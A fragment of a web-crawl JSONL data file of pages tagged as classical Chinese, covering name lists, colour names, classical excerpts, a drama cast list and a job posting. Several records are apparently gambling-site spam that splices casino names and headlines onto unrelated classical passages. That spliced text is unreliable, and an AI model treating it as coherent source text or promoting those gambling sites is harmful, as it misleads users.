倪琳丹 倪娅丹 倪彩婷","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.mf-sj.cn\/a\/show_4Q0.aspx","date":"2023-12-01T16:11:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100290.24\/warc\/CC-MAIN-20231201151933-20231201181933-00484.warc.gz","language":"lzh","language_score":0.3879756629,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.38797566294670105, \"nan_Hani_score\": 0.2505231201648712, \"cmn_Hani_score\": 0.1798587590456009, \"yue_Hani_score\": 0.04865158721804619, \"und_Bali_score\": 0.03304694965481758, \"und_Cher_score\": 0.01808953657746315, \"wuu_Hani_score\": 0.016419347375631332, \"und_Tang_score\": 0.011838520877063274}","num_words":300,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.39,"perplexity_score":500.0,"cluster_detection":1} +{"text":"免费起名字打分\n可选中1个或多个下面的关键词,搜索相关资料。www.06949a.com。也可直接点\"搜索资料\"搜索整个问题。\n王娅楠 王忆梅 王晓萱 王雨嘉 王涵柳 王语蝶 王雪芳 王倩雪 王诗琪 王昕怡 王花琪 王明美 王佩兰 王雪芬 王梦洁 王瑾萱 王沛玲 王梦柏 王傲蕾 王佳雪 王惠茜 王熙雯 王涵菡 王君娜 王芳梨 王檀雅 王幽兰 王芸萱 王曼玉 王笑怡 王钰彤 王紫珊 王绮兰 王婧琪 王甜瑜 王歆瑶 王语嫣 王羽馨 王昕玉 王慕儿 王诗嘉 王乐萱 王桑榆 王妙佳 王晴霎 王正梅 王梦璐 王馨彤","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www-baidu67.com\/guapaicangbaotu\/mianfeiqimingzidafen_1104.html","date":"2019-10-19T22:16:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986700435.69\/warc\/CC-MAIN-20191019214624-20191020002124-00396.warc.gz","language":"lzh","language_score":0.956970036,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9569700360298157, \"cmn_Hani_score\": 0.03183458745479584, \"nan_Hani_score\": 0.01111846137791872}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.951,"perplexity_score":500.0,"cluster_detection":1} +{"text":"艾利斯兰 古董白 浅绿色 碧绿色 天蓝色 米色 桔黄色 玄色 白杏色 蓝色 紫罗兰色 褐色 实木色 军兰色 黄绿色 巧可力色 珊瑚色 菊兰色 米绸色 暗深血色 青色 暗蓝色 暗青色 暗金黄色 暗灰色 暗绿色 暗黄褐色 暗洋红 暗橄榄绿 暗桔黄色 暗紫色 暗血色 暗肉色 暗海兰色 暗灰蓝色 茶青色 暗宝石绿 暗紫罗兰色 深粉血色 深天蓝色 暗灰色 闪兰色 火砖色 斑白色 丛林绿 紫血色 淡灰色 阴魂白 金色 金麒麟色 灰色 绿色 黄绿色 蜜色 热粉血色 印第安红 靛青色 象牙色 黄褐色 淡紫色 淡紫红 草绿色 柠檬绸色 亮蓝色 亮珊瑚色 亮青色 亮金黄色 亮绿色 亮灰色 亮粉血色 亮肉色 亮海蓝色 亮天蓝色 亮蓝灰 亮钢兰色 亮黄色 酸橙色 橙绿以 亚麻色 红紫色 粟色 间绿色 间兰色 间紫色 间紫色 间海蓝 间暗蓝色 间春绿色 间绿宝石 间紫罗兰色 中灰兰色 薄荷色 浅玫瑰色 鹿皮色 纳瓦白 舟师色 老花色 橄榄色 深绿褐色 橙色 红橙色 淡紫色 苍麒麟色 苍绿色 苍宝石绿 苍紫罗兰色 番木色 桃色 秘鲁色 粉血色 洋李色 粉蓝色 紫色 血色 褐玫瑰红 皇家蓝 重褐色 鲜肉色 沙褐色 海绿色 海贝色 赭色 银色 天蓝色 石蓝色 灰石色 清白色 春绿色 钢兰色 茶色 水鸭色 蓟色 西红柿色 青绿色 紫罗兰色 浅黄色 白色 烟白色 黄色 黄绿色。\n谁分明全体颜色的名称?!\n内容版权声明:除非注明,否则皆为本站原创文章。","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/rezalighting.com\/haijiaoyingcao\/1246.html","date":"2019-11-22T06:55:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671245.92\/warc\/CC-MAIN-20191122065327-20191122093327-00135.warc.gz","language":"lzh","language_score":0.5875841379,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5875841379165649, \"yue_Hani_score\": 0.2703460454940796, \"cmn_Hani_score\": 0.09099751710891724, \"nan_Hani_score\": 0.04754546284675598}","num_words":142,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.598,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黄金城棋牌游戏WTI原油期货下跌逾5.2%\n於是自殽以东,名山五,大川祠二。曰太室。太室,嵩高也。恆山,泰山,会稽,湘山。水曰济,曰淮。春以脯酒为岁祠,因泮冻,秋涸冻,冬塞祷祠。其牲用牛犊各一,牢具珪币各异。\n其後诸侯共击楚,大破之,杀其将唐眛。\n人生而静,天之性也;感於物而动,性之颂也。物至知知,然后好恶形焉。好恶无节於内,知诱於外,不能反己,天理灭矣。夫物之感人无穷,而人之好恶无节,则是物至而人化物也。人化物也者,灭天理而穷人欲者也。於是有悖逆诈伪之心,有淫佚作乱之事。是故彊者胁弱,众者暴寡,知者诈愚,勇者苦怯,疾病不养,老幼孤寡不得其所,此大乱之道也。是故先王制礼乐,人为之节:衰麻哭泣,所以节丧纪也;钟鼓干戚,所以和安乐也;婚姻冠笄,所以别男女也;射乡食飨,所以正交接也。礼节民心,乐和民声,政以行之,刑以防之。礼乐刑政四达而不悖,则王道备矣。\n夏后帝启崩,子帝太康立。帝太康失国,昆弟五人,须于洛汭,作《五子之歌》。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.china-zr.cn\/k08n6\/91661.html","date":"2020-02-29T03:20:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148375.36\/warc\/CC-MAIN-20200229022458-20200229052458-00465.warc.gz","language":"lzh","language_score":0.543130219,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5431302189826965, \"cmn_Hani_score\": 0.21738936007022858, \"nan_Hani_score\": 0.14638595283031464, \"wuu_Hani_score\": 0.02101648412644863, \"yue_Hani_score\": 0.01680017076432705}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.471,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:李白\n夫天地者,萬物之逆旅也;光陰者,百代之過客也。而浮生若夢,爲歡幾何?古人秉燭夜遊,良有以也。況陽春召我以煙景,大塊假我以文章。會桃花之芳園,序天倫之樂事。羣季俊秀,皆爲惠連;吾人詠歌,獨慚康樂。幽賞未已,高談轉清。開瓊筵以坐花,飛羽觴而醉月。不有佳詠,何伸雅懷?如詩不成,罰依金谷酒數。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.book.gonet.tw\/books\/shownews.php?id=128","date":"2021-12-01T15:29:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360803.6\/warc\/CC-MAIN-20211201143545-20211201173545-00447.warc.gz","language":"lzh","language_score":0.5585272312,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5585272312164307, \"cmn_Hani_score\": 0.1417001187801361, \"und_Grek_score\": 0.06046876683831215, \"nan_Hani_score\": 0.05833767354488373, \"und_Tang_score\": 0.01932363398373127, \"yue_Hani_score\": 0.01585366204380989, \"zxx_Latn_score\": 0.01394464448094368, \"wuu_Hani_score\": 0.012886317446827888}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.246,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门游戏人民日报评论员有序推动复工复产\n二十四年,崩,子安王骄立。是岁盗杀楚声王。\n孔子曰:\"君子有三畏:畏天命,畏大人,畏圣人之言。小人不知天命而不畏也,狎大人,侮圣人之言。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之\n当是时,太后弟武安侯蚡为丞相,中二千石来拜谒,蚡不为礼。然黯见蚡未尝拜,常揖之。天子方招文学儒者,上曰吾欲云云,黯对曰:\"陛下内多欲而外施仁义,柰何欲效唐虞之治乎!\"上默然,怒,变色而罢朝。公卿皆为黯惧。上退,谓左右曰:\"甚矣,汲黯之戆也!\"群臣或数黯,黯曰:\"天子置公卿辅弼之臣,宁令从谀承意,陷主於不义乎?且已在其位,纵爱身,柰辱朝廷何!\"\n窦太后好黄帝、老子言,帝及太子诸窦不得不读黄帝、老子,尊其术。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.arkiipreschool.com\/IKMPM27518.html","date":"2020-02-23T02:19:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145742.20\/warc\/CC-MAIN-20200223001555-20200223031555-00054.warc.gz","language":"lzh","language_score":0.6067228913,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.606722891330719, \"cmn_Hani_score\": 0.21937724947929382, \"nan_Hani_score\": 0.09008099138736725, \"wuu_Hani_score\": 0.01135522872209549, \"zxx_Latn_score\": 0.010182271711528301}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"fun88官方多个外贸大省复工迅速将从6处稳住外贸基本盘\n二十三年,幽公卒,子釐公孝立。釐公六年,周宣王即位。三十六年,釐公卒,子武公灵立。武公十五年卒,子夷公说立。是岁,周幽王即位。夷公三年卒,弟平公燮立。平公七年,周幽王为犬戎所杀,周东徙。秦始列为诸侯。\n自三代以来,匈奴常为中国患害;欲知彊弱之时,设备征讨,作匈奴列传第五十。\n子曰:\"岁寒,然后知松柏之后凋也。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n然邯郸亦漳、河之间一都会也。北通燕、涿,南有郑、卫。郑、卫俗与赵相类,然近梁、鲁,微重而矜节。濮上之邑徙野王,野王好气任侠,卫之风也。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/app.ctm3w.com\/PVCRK13867.html","date":"2020-02-25T03:24:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146004.9\/warc\/CC-MAIN-20200225014941-20200225044941-00094.warc.gz","language":"lzh","language_score":0.5107637048,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5107637047767639, \"cmn_Hani_score\": 0.29251033067703247, \"nan_Hani_score\": 0.06673194468021393, \"wuu_Hani_score\": 0.04126689210534096, \"jpn_Jpan_score\": 0.018877550959587097, \"yue_Hani_score\": 0.01201549917459488}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":1} +{"text":"彩民福地-k彩未成年人网游消费纠纷突出实名认证形同虚设\n\"臣闻之,积羽沈舟,群轻折轴,众口铄金,积毁销骨,故原大王审定计议,且赐骸骨辟魏。\"\n三月,遂东幸缑氏,礼登中岳太室。从官在山下闻若有言\"万岁\"云。问上,上不言;问下,下不言。於是以三百户封太室奉祠,命曰崇高邑。东上泰山,泰山之草木叶未生,乃令人上石立之泰山巅。\n凡音者,生於人心者也;乐者,通於伦理者也。是故知声而不知音者,禽兽是也;知音而不知乐者,众庶是也。唯君子为能知乐。是故审声以知音,审音以知乐,审乐以知政,而治道备矣。是故不知声者不可与言音,不知音者不可与言乐知乐则几於礼矣。礼乐皆得,谓之有德。德者得也。是故乐之隆,非极音也;食飨之礼,非极味也。清庙之瑟,硃弦而疏越,一倡而三叹,有遗音者矣。大飨之礼,尚玄酒而俎腥鱼,大羹不和,有遗味者矣。是故先王之制礼乐也,非以极口腹耳目之欲也,将以教民平好恶而反人道之正也。\n乐者,天地之和也;礼者,天地之序也。和,故百物皆化;序,故群物皆别。乐由天作,礼以地制。过制则乱,过作则暴。明於天地,然後能兴礼乐也。论伦无患,乐之情也;欣喜驩爱,乐之也。中正无邪,礼之质也;庄敬恭顺,礼之制也。若夫礼乐之施於金石,越於声音,用於宗庙社稷,事于山川鬼神,则此所以与民同也。\n乱曰:浩浩沅、湘兮,分流汨兮。脩路幽拂兮,道远忽兮。曾唫恆悲兮,永叹慨兮。世既莫吾知兮,人心不可谓兮。怀情抱质兮,独无匹兮。伯乐既殁兮,骥将焉程兮?人生禀命兮,各有所错兮。定心广志,馀何畏惧兮?曾伤爰哀,永叹喟兮。世溷不吾知,心不可谓兮。知死不可让兮,原勿爱兮。明以告君子兮,吾将以为类兮。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/unh70.sdklzg.com\/WwrMc\/","date":"2020-04-07T15:51:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371803248.90\/warc\/CC-MAIN-20200407152449-20200407182949-00301.warc.gz","language":"lzh","language_score":0.418291539,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41829153895378113, \"cmn_Hani_score\": 0.3677791655063629, \"nan_Hani_score\": 0.1412786841392517, \"wuu_Hani_score\": 0.01880989409983158}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.28,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷二十五 ‧ 魏策四\n獻書秦王\n闕文獻書秦王曰:「臣竊聞大王之謀出事于梁,謀恐不出于計矣,願大王之熟計之也。梁者,山東之要也。有蛇于此,擊其尾,其首救;擊其首,其尾救;擊其中身,首尾皆救。今梁王,天下之中身也。秦攻梁者,是示天下要斷山東之脊也,是山東首尾皆救中身之時也。山東見亡必恐,恐必大合,山東尚強,臣見秦之必大憂可立而待也。臣竊為大王計,不如南出。事于南方,其兵弱,天下必能救,地可廣大,國可富,兵可強,主可尊。王不聞湯之伐桀乎?試之弱密須氏以為武教,得密須氏而湯之服桀矣。今秦欲與山東為讎,不先以弱為武教,兵必大挫,國必大憂。」秦果南攻藍田、鄢、郢。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/a2\/a202\/344.htm","date":"2020-07-04T14:36:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886178.40\/warc\/CC-MAIN-20200704135515-20200704165515-00014.warc.gz","language":"lzh","language_score":0.5242196918,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5242196917533875, \"cmn_Hani_score\": 0.3414810001850128, \"nan_Hani_score\": 0.09095814824104309, \"wuu_Hani_score\": 0.034153860062360764}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n港劇《大醬園國語》由何廣沛 朱晨麗 龔嘉欣 江嘉敏 吳業坤 黃嘉樂 吳岱融 龔慈恩 楊卓娜 袁文傑 於淼 李國麟 王綺琴 韋傢雄 鄭子誠 車婉婉 陳嘉輝 郭少蕓 徐榮 樊亦敏 古明華 張國強 李日升 吳卓衡 阮政峰 李綺雯 郭千瑜 陳婉婷 丁樂鍶 衛志豪 蘇恩磁 陳榮峻 戴耀明 張智軒 吳展驊 方紹聰 伍禮騫 黃耀煌 煒烈 林敬剛 李岡龍 甄詠珊 劉天龍 康華 傅嘉莉 張達倫 謝芷倫 易宇航 莊思明 顏仟汶 曾健明 周麗欣 張漢斌 李麗麗 簡傢麒 梁珈詠 陳靖雲 李嘉晉 等主演,梁材遠 歐耀興 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/74064.html","date":"2021-02-27T16:11:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178358976.37\/warc\/CC-MAIN-20210227144626-20210227174626-00414.warc.gz","language":"lzh","language_score":0.7858600616,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7858600616455078, \"cmn_Hani_score\": 0.1439303457736969, \"nan_Hani_score\": 0.05655490607023239, \"yue_Hani_score\": 0.012471749447286129}","num_words":62,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.758,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第四章\n道沖而用之或不盈,淵兮似萬物之宗;挫其銳,解其紛,和其光,同其塵,湛兮似或存。吾不知誰之子,象帝之先。\n夫執一家之量者,不能全家。執一國之量者,不能成國。窮力舉重,不能為用,故人雖知,萬物治也,治而不以二儀之道,則不能贍也。地雖形魄,不法於天則不能全其寧。天雖精象,不法於道則不能保其精。沖而用之,用乃不能窮滿以造實,實來則溢,故沖而用之,又復不盈,其為無窮亦已極矣。形雖大,不能累其體,事雖殷,不能充其量,萬物捨此而求主,主其安在乎。不亦淵兮似萬物之宗乎。銳挫而無損,紛解而不勞,和光而不汙,其體同塵而不渝,其真不亦湛兮似或存乎。地守其形,德不能過其載,天慊其象,德不能過其覆,天地莫能及之,不亦似帝之先乎。帝,天帝也。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.chineseclassic.com\/LauTzu\/LaoTzu_wongbee\/ch04.htm","date":"2023-10-02T02:27:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510942.97\/warc\/CC-MAIN-20231002001302-20231002031302-00388.warc.gz","language":"lzh","language_score":0.5023521781,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5023521780967712, \"cmn_Hani_score\": 0.4635551869869232, \"nan_Hani_score\": 0.02548731304705143}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.776,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n沈珊莉 沈秋莉 沈蓓丽 沈嗣芳 沈凡婷 沈鸿红 沈智燕 沈梦丽 沈紫琼 沈朝芬 沈芙蓉 沈悦彤 沈仪婷 沈钰梅 沈钰萍 沈钰娟 沈兴文 沈娅绮 沈中琳 沈芝瑶 沈皓洁 沈子红 沈晓洁 沈昊洁 沈灵洁 沈宁洁 沈振芳 沈志萍 沈荣娟 沈珍茹 沈茹筠 沈筠茹 沈殷怡 沈井妹 沈筱秀 沈韵文 沈庆梅 沈淑琴 沈彦琳 沈福萍 沈玲莉 沈瑞妍 沈云梅 沈琳翘 沈毓冉 沈春婷 沈素花 沈桂燕 沈邦芳 沈弋婵 沈秀佳 沈宜洁 沈星娜 沈览悦 沈览秀 沈熙秀 沈涵秀 沈佳美 沈侠玲 沈秀甜 沈欣莹 沈光霞 沈毅婷 沈星秀 沈睿婷 沈韦芳 沈应红 沈春芳 沈文芳 沈春萍 沈茹馨 沈馨茹 沈仕萍 沈子媛 沈润莹 沈莹润 沈彩芬 沈玲豆 沈晋瑶 沈当艳 沈宛婷 沈莉婷 沈湖花 沈玲凤 沈莹滢 沈滢莹 沈悦涵 沈悦晗 沈苏怡 沈模琴 沈赛琼 沈凌颖 沈弋冉 沈全娟 沈千婷 沈颖丽 沈怡敏 沈佩怡 沈书婷 沈羽婷 沈千娅 沈敏美 沈自芳 沈冬红 沈世玲 沈宏娜 沈燕洁 沈芸妹 沈云妹 沈淑霞 沈心茹 沈宏梅 沈辛娜 沈印芳 沈峰萍 沈琳铭 沈玲铭 沈锡英 沈钧英 沈七妹 沈凤玉 沈华娥 沈悦筱 沈依玉 沈慧媛 沈嘉媛 沈颜蓉 沈佳瑶 沈娇倩 沈颖娜 沈秀原 沈妍姝 沈诗怡 沈周娅 沈周艳 沈妙红 沈小霞 沈银花 沈天茹 沈尉玲 沈家芳 沈妙婷 沈松霞 沈燕军 沈碧瑶 沈丰英 沈霞萍 沈秋妹 沈玉雪 沈妙琳 沈娅媛 沈千媛 沈慕媛 沈琳玫 沈琳敏 沈若琳 沈芷琳 沈顺红 沈明玉 沈信文 沈裕婵 沈玉娥 沈芳梅 沈裕婷 沈裕妍 沈雯颖 沈翠娥 沈孝红 沈洁丽 沈茂芬 沈貌芬 沈海裴 沈小美 沈秋美 沈秋梅 沈霖怡 沈超红 沈方怡 沈妍欢 沈女芳 沈娜羽 沈静洁 沈颖霞 沈紫玉 沈雨霞 沈婉怡 沈柯颖 沈怡润 沈沛瑶 沈广英 沈歆洁 沈则文 沈栩婷 沈铁文 沈烈文 沈瑶佳 沈柯莹 沈柯洁 沈秀倬 沈倬秀 沈悦桐 沈裴嵩 沈妍孜 沈妍廷 沈樟冉 沈莉萱 沈心莹 沈艺文 沈观文 沈甜瑛 沈睿怡 沈秀含 沈谣琳 沈育英 沈千瑶 沈正娅 沈田娅 沈雅妹 沈柯文 沈柯美 沈赛瑶 沈柯瑶 沈柯琴 沈柯倩 沈燕霞 沈奕瑶 沈利红 沈芊婵 沈姗颖 沈恋萍 沈莉化 沈莉哗 沈莉画 沈莉铧 沈莉桦 沈莉华 沈梨莉 沈才莉 沈秀蓉 沈睿颖 沈泽霞 沈俊花 沈燕雯 沈含秀 沈书颖 沈群花 沈正莉 沈裴丽 沈利芬 沈梦霞 沈妍含 沈桂莉 沈巧芳 沈欣瑶 沈水琳 沈洁琳 沈泽琳 沈千蓉 沈琴舫 沈秀好 沈少茹 沈曼玲 沈琦瑶 沈月萍 沈悦扬 沈茂艳 沈佐英 沈云玲 沈莉霞 沈莘瑶 沈馨瑶 沈鸿萍 沈若英 沈燕波 沈燕辉 沈清琴 沈秀茹 沈月茹 沈琬莹 沈月梅 沈蕾芳 沈少娟 沈宇婷 沈绍玉 沈敏玉 沈佐蓉 沈芸茹 沈妹香 沈欣秀 沈朱燕 沈月英 沈茹嫣 沈琮悦 沈琮秀 沈平梅 沈林雪 沈玲姿 沈贤文 沈景霞 沈颉婷","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.scw3.cn\/show_QA4.aspx","date":"2023-12-05T12:33:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.17\/warc\/CC-MAIN-20231205105136-20231205135136-00896.warc.gz","language":"lzh","language_score":0.5859749317,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.585974931716919, \"nan_Hani_score\": 0.3667149245738983, \"cmn_Hani_score\": 0.04010896012187004}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.601,"perplexity_score":500.0,"cluster_detection":1} +{"text":"荊州荊福汽車零部件有限公司\n- 企業性質:合資企業\n- 所屬行業:生產\/制造\/加工\/開采\n- 注冊資金:1800萬人民幣\n- 公司規模:300人以上\n- 所在地區:沙市區\n- 瀏覽次數: 次\n福利:保險+交通補助+加班補助+餐補\n董舜璟 陳浩 李振華 王淋 徐鋒 周偉 陳盼 黃詩夢 焦女士 武文 趙娟 肖志軍 肖 鄧旭 付女士 趙女士 馬文強 胡立明 翟女士 劉戀 黃月菊 王蓓 段俊 李家虎 田濤 金文杰 王津偉 廖加梅 彭寒 程丹 tony 朱女士 余曉松 譚夢喬 周輝 杜園園 羅磊 李翩 馬芬 呂驍 肖鈺 王玲 夏翠翠 張典法 張女士 孫小姐 許凡 王蓓 許女士 胡艷梅 周金燕 王先生 劉女士 張杰 楊蓉 胡女士 馬琳 劉學強 柳女士 杜勇 張慧 鄭先生 馬鳳詹 談亞洲 陳小波 張女士 黃女士 楊嵐爾 陳磊 周星 劉彩夢 董苗苗 劉蜀鄂 杜敏 龍平平 葉浩 屈紅娟 彭怡 王雨露 劉登輝 張晨 廖定熠 王陳成 丁奔 江女士 張利杰 錢昆 李濤 王慶慶 徐蓉 郭春鵬 蔣女士 楊月 余鵬 龍韋韋 張女士 呂女士 熊傳光 田女士 郭永強 王力 陳思瓊 葉琴 余艷 劉莎 盧璠 鄧琴 黃許霞 龔永紅 馬先生 粟文姍 王孜 顧萍 余紅艷 楊 劉登榮 曾敏 周文雄 曾媛 張小麗 張健 鄭莉 姜成 楊林 李女士 甘小濤 許婭 黃莎 鄭思怡 石鵬 鄒時瓊 張平 李玉慧 陳燕鵬 郝欣 李帥 何鵬 柴穎 龍女士 張女士 鄒程琪 谷春輝 王德萌 王女士 李夢雪 劉蒙莉 龐付鑫 郭熠強 王芳 陳晶晶 余艷 江穎哲 劉順達 胡玉紅 周先生 王冰冰 劉倩 曾家苗 程昭華 陳玲 朱云 鄧貞珍 孟雪 王維 牛珍珍 胡成鳳 唐蓉 劉洋 丁思萌 袁爽 楊茜淳 吳女士 解廷蔚 王會 黎先生 凡女士 范金枝 楊女士 鄒亞琴 何卿 王秀池 陳華 朱明 王俊詠 董同輝 李愛鳳 王閔 蔣豐駿 覃柳 宋磊磊 何偉 陳緒艷 吳進 曹姝姝 周佳 王倩 易女士 陳女士 蔡莎 張巧 張翠霞 胡慧穎 張晶晶 王霞 周苑 李月 劉琴 文紅 唐敏敏 張婷婷 唐紫薇 張曉嬌 朱英 魯女士 徐小蘭 余曉慶 劉京燕 羅玉蘭 潘黎 張楊 代素潔 周金燕 陳靜 胡榮 謝飛 童女士 劉紅艷 王松 吳伊 隗雪 查看更多瀏覽記錄\n1、在面試時可先在百度搜索一下荊州荊福汽車零部件有限公司招聘外貿專員的相關信息,確定是否為虛假招聘信息!\n2、該招聘信息由會員自行發布,真實性由發布人負責,若發現招聘信息不實,歡迎舉報,我們將立即核實并處理!\n3、招聘單位無權向求職者收取任何費用,如有單位在面試過程中向您收取押金、保證金、體檢費、材料費、成本費等違規費用,指定醫院體檢等均為詐騙行為。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.ukcrg.icu\/zhaopin-9168.html","date":"2019-08-18T05:25:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313617.6\/warc\/CC-MAIN-20190818042813-20190818064813-00291.warc.gz","language":"lzh","language_score":0.5073986053,"language_script":"Hani","minhash_cluster_size":1,"top_langs